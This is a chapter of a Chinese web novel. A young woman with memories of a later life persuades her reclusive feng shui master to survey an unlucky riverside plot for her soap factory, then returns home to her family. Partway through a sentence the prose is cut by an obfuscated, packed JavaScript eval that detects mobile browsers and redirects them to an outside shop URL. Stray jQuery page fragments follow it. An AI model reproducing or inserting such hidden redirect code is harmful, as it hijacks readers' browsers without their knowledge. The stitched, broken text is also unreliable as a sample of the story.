吱呀——


    门开了。


    一个枯瘦的小老头双手笼着门,身子将谢颜玉想往屋里钻的路堵得死死的。


    “不是跟你说,这几年别来我这?”周保国语调不悦,“这几年风声紧,文曲星暗,黑气漫太微垣,长庚未行正至纬,正是我这出身有瑕的劫难,你别牵连到我。”


    谢颜玉最近干的事,他哪怕不问世事,也听到一二风声,更何况谢家村的人,都聚在谢家人身边打探,他想不知道都难。


    外界那么多眼睛都盯着她,她来找他,外人都将视线也投向他,以为她想给他开个后门,又忆起他那不太正统的出身,一怒之下将他举报,他也被抓走下放了怎么办?


    周保国从不轻视旁人的嫉妒之心。


    谢颜玉也知道周保国活得有多小心翼翼,恨不得自己成为隐身人,前些年光景还好时,他还有兴趣教导她功夫,在村里与人闲聊,寻一二年级相仿者喝点小酒聊聊天,吹吹他打鬼子那些旧事。


    但九年前,他忽然沉寂,像是活在村里的幽灵,八年前更是与谢颜玉都断开了往来。


    有了后世记忆的谢颜玉,知道那是什么时间点,也知道这个师父有真本事,才会过来寻他求助。


    她往房间里挤,“师父,我避着人来的,外边这般天黑,没人瞧见。”


    “‘要想人不知,除非己莫为’,你怎么知道没有人恰好在远处瞧见了呢?”


    到底是心爱弟子,当初助他融入谢家村出了大力,周保国叹了口气,让开身形,谢颜玉趁机从他胳膊窝钻过去。


    “放心吧师父,我进来前,将你房子周围饶了几圈,确定没人没鸟没家禽,我才进来的。”谢颜玉进了屋,不见外地去翻柜子,从里边掏出一根肉干放嘴里啃。


    周保国见了,心疼得直抽抽,“孽障,为师动手做一次肉干容易么?只剩下三根了,你就给我嚯嚯一根。”


    他扑过去盖住柜子,又掏出一把锁要锁。


    谢颜玉忙制止,去掀盖子,“师父,你藏了什么好吃的?”


    如果没藏好吃的,老头根本不会管,因为他知道,她拿了肉干不会再拿。


    “没有没有,什么好吃的都没有。”


    咔嚓,锁头咬紧锁芯。


    周保国将钥匙仔细收好,这才坐回桌边,不耐烦地开口,“说吧,找我什么事?”


    他才不信,她是倍觉思念他这个师父,没忍住夤夜前来探望,他更信她是黄鼠狼给鸡拜年,不安好心。


    谢颜玉多瞧了两眼柜子,才从怀里掏出自己画的地形图,她凑到周保国身边,“师父,我想在这边建一个香皂厂,您瞧瞧,如何设计才能不破坏此处好风水?”


    周保国瞅了一眼,呸了一口,“还好风水,烂到极致,小时候你也翻过几本书,全忘了?你瞧这河流线条,明晃晃的一把长弓,箭指此处,这,这是千人坑?煞上加煞,在此建房,屋破人亡。”


    “还在这建香皂厂,我看你分明是老寿星上吊,嫌命太长。”


    谢颜玉腆着脸笑,上前替周保国按揉肩膀,“这不是有师父你在么,师父一出手,什么反弓煞,阴邪煞,都不是事。”


    “我可没那么大的本事。”周保国摆手。


    灌再多的迷糊汤,他也没那么大的本事,又不是嫌过得太幸福,谁会顶着风口干这事?


    “师父师父。”谢颜玉一声声地撒娇,手指更为用力且尽心地捏着他的肩膀。


    “什么师父,我不是你师父。”周保国无动于衷,铁石心肠。


    “哼,本来给你带了几瓶五粮液,你既然不是我师父,那五粮液我拎走了?”


    “有五粮液?”周保国赶紧去门外,在门口踢中一样东西,发出清脆的响声。


    是玻璃叩击的轻响。


    周保国低头,一个布袋子就倒在地上,两瓶五粮液一站一卧,旁边还有一块茶饼。


    他捡起来一看,惊奇地开口,“哟,老白茶,至少三年,这种好茶,你从哪搞到的?”


    “旁人送的。”谢颜玉瞧了一眼,是供应科科长送的,她想起周保国爱喝茶,又有求于他,就拎了过来。


    “嘿,你这丫头,我不帮忙,这酒和茶酒不送给我了?小时候白疼你了。”


    周保国将茶和酒拎进屋,放到桌子上,兴奋得不行。


    他也没别的爱好,就爱喝点小酒,泡点小茶,谢颜玉拎过来的酒与茶,都是难得的珍品,完全戳在他心巴上。


    “哪能呢,你不答应,还不是一样会送你?谁让你是我师父呢,孝敬你天经地义。”


    谢颜玉只瞥了一眼,又移开视线,蹲到周保国腿边抱着,哀哀地哭,“师父,你真不出手帮忙吗?整个公社,就只有这个地方够大,适合建厂,你真忍心你唯一的徒弟,创业为半而中道崩殂吗?”


    “你想看着你乖巧懂事的徒儿,被村民打,被村民骂吗?徒儿万人大厂的大话都宣传出去了,要是做不到,你徒儿要被大家撕了。”


    周保国哼笑,端着茶饼慢慢地欣赏,“徒弟你有大本事,还怕这个?万人大厂,你也真敢吹,咱们县城都没有万人大厂,省城都未必有。”


    “‘梦想还是要有的,万一实现了呢?’你不定个目标,怎么知道自己能做到哪个地步?”谢颜玉辩了一句,又抱着周保国的腿,嗷嗷地假哭,“师父师父,救救你徒儿吧,你就我这一个乖巧懂事的好徒儿,你好徒儿要是折了,谁给你养老?”


    周保国放下茶饼,又拿起图纸,“真没其他地盘了?这煞,不好化解啊。”


    “我相信师父的本事。”谢颜玉捧了一句,又道,“真没其他地方了,咱们公社位于山区,周围平地多是村民的田,农事为大,不好侵占田地,只有这一片荒地属于国家。”


    是真找不到第二块这么大,还能往外扩的地了,不然她也不想顶风作案。


    周保国想起公社的地形,点头。


    确实如此。


    谢颜玉这块画的地方,其实他有印象,当时瞧见就惊呼,大凶啊。


    幸好没有住人。


    一晃多年过去,没想到被小徒弟看中。


    “真那块地不可?”周保国不死心。


    “不是非那块地不可,而是找不到第二块那么大的地,师父,只要您能找到合适的,我立马放弃。”


    周保国琢磨了片刻,又打开柜子,从里边摸出一个金蟾蜍。


    谢颜玉眼睛一亮,伸手摸了过去,“师父,你还有这样的好物呢?”


    周保国一巴掌拍掉她的手,“别乱摸,这是风水法器,小心乱了它身上的气。”


    “师父,你祖上多阔啊,法器都是金子做的。”谢颜玉瞠目结舌。


    当初周保国从山上下来时,全身破破烂烂的,只有一个小包裹,瞧着就是个穷困潦倒的,谁知道藏着这样一个宝贝。


    “镀金的镀金的。”周保国敷衍了一句。


    谢颜玉不信。


    但也知道他师父为什么锁柜子了,柜子里估计还藏着这些不好见人的东西。


    她提醒道:“师父,放柜子里太不安全了,你另找个地方藏着吧。”


    周保国不语。


    柜子里有暗层,藏得严实。


    他摸了摸金蟾蜍,又将它放了回去,摸出一个油光水亮的罗盘。


    罗盘成年男人巴掌大,古旧拙朴,能明显瞧出是个老物件。


    应该是祖传罗盘。


    谢颜玉瞧见了当没瞧见。


    周保国将罗盘往怀里一揣,换了身黑色长褂,脸上带了个大草帽,对谢颜玉道:“走,去那边看看。”


    “好。”谢颜玉点头,又道,“你装个病,我让大队长给你披个假条?”


    “不用,该晕过去时我自会晕过去。”周保国摇头,这种事,只限定他和谢颜玉之间是最好的,多个人知道,就等于多好些人知道,虽知道那些人里会不会使坏?


    谢颜玉知道他的顾忌,也知道,小心才能使得万年船,没多劝。


    她蹬着自行车,载周保国前往公社。


    山间无人,安静得只听得树叶挲挲,偶尔有鸟鸣之声响起,倒真应


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947818|190438||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了那句“鸟鸣山更幽”。


    到了河滩地,周保国跳下车,谢颜玉将自行车往草丛里一放,跟上自家师父。


    周保国摸出罗盘开始走,谢颜玉跟在后边用手电筒照光,还捡了根树枝在前边拨草惊蛇,虽说这个时间蛇都冬眠了,但万一就有一条没东眠的呢?


    凌晨四点,周保国揣着罗盘坐上谢颜玉后座,道:“看完了,走吧,回去。”


    回到谢家村,谢颜玉将自行车往附近树林一藏,两人又偷偷摸摸地爬墙进屋,周保国点燃油灯,将罗盘仔细收好,朝谢颜玉张开手,“那张地形图给我,后天晚上,你再过来拿建筑图。”


    “麻烦师父了。”谢颜玉将地形图递给周保国,郑重道,“师父,等风声过去,我一定给你建大别墅,再给你定两个金蟾蜍。”


    “去去去,少给我找事,我就无量天尊了。”


    离开周保国家,谢颜玉躲躲闪闪地回了谢家,谁也没惊动,推开自己的小屋睡个天昏地暗。


    忙了一天,又一晚没睡,她再年轻也扛不住。


    倒是谢家人早上起来,发现大门口停了一辆自行车,忙猜测这是谁家的,怎么停在她家门口?


    怕丢了,先将自行车扛进院子,让大狗守在门口,看有谁过来寻。


    谢老三绕着这辆自行车转了几圈,摸了摸下巴,“我咋瞅着,这辆自行车眼熟?”


    “像咱闺女的。”谢老三媳妇淡定地接口。


    谢老三一拍巴掌,“对,是像,颜玉也有一辆这个牌子的车。停在咱家门口,不会就是咱家颜玉的吧?”


    谢奶奶和其他人谢家人也凑了过来,研究这辆自行车。


    还没研究个所以然来,谢老三媳妇点头,“是咱家颜玉的。”


    她刚发现她家两个宝的房间没了锁,推门进去一看,谢颜玉躺在床上睡得四平八稳,没被外边动静吵醒半分。


    她又悄手悄脚出来。


    农忙结束,村民也不用一整天的都在田里,中午可以回来吃饭,谢颜玉醒来时,就听到了外边的动静,她伸了个懒腰,拿起牙刷起身出门。


    门外,谢家人大部分都在,谢颜玉淡定地一一喊人,拿起牙刷去了厨房。


    牙刷放了一段时间,用开水烫烫。


    刷完牙洗完脸,见桌上有一份红薯饭没动,知道是自己的,她坐过去,端起红薯饭开始吃。


    大堂嫂撇撇嘴。


    都嫁出去的女儿了,还经常回娘家吃饭,厚脸皮。


    谢颜玉大半夜的回谢家,谢家人自然要问问,问她是不是周家给她气受,她才大半夜的回来?


    谢家人都盯着谢颜玉,像是她说一声好,他们就撸着袖子去周家村,替她讨回公道。


    谢颜玉心暖洋洋的,摇头道:“不是,来谢家村有些事,时间晚了,懒得再回周家村。”


    “那就好。”听到谢颜玉不是受欺负,谢家人又放松下来,认真吃饭。


    谢小二问:“五妹,你嫂子在县城里还好吗?”


    “挺好的。”


    谢颜玉只去见过一次,但那一次之后,她就决定不再去了,无他,二嫂她太努力,感觉自己找她吃个饭,说个话,都在浪费她的时间。


    等她学成,再去接她吧。


    “那她什么时候能回来?”


    都快一月了,谢小二承认,自己想媳妇了。


    “快了,最多半月。”


    谢颜玉估摸下时间,开口道。


    还有半个月啊,谢小二失望。


    “爹,大伯,二叔,大哥二哥三哥,香皂厂准备正式建了,你们是想去建厂,还是在家赚工分?”


    “建厂建厂。”谢老三率先应道,“颜玉,爹去帮你监督其他人,肯定不让他们偷懒。”


    谢颜玉她娘也跟着开口,“颜玉颜玉,我也去帮你监督,管好工地上的饭菜。”


    谢颜玉:“……”


    好吧,是她爸。


    偷懒自有一套。


    谢奶奶犹豫,“咱们家去那么多人,大队不给批假吧?”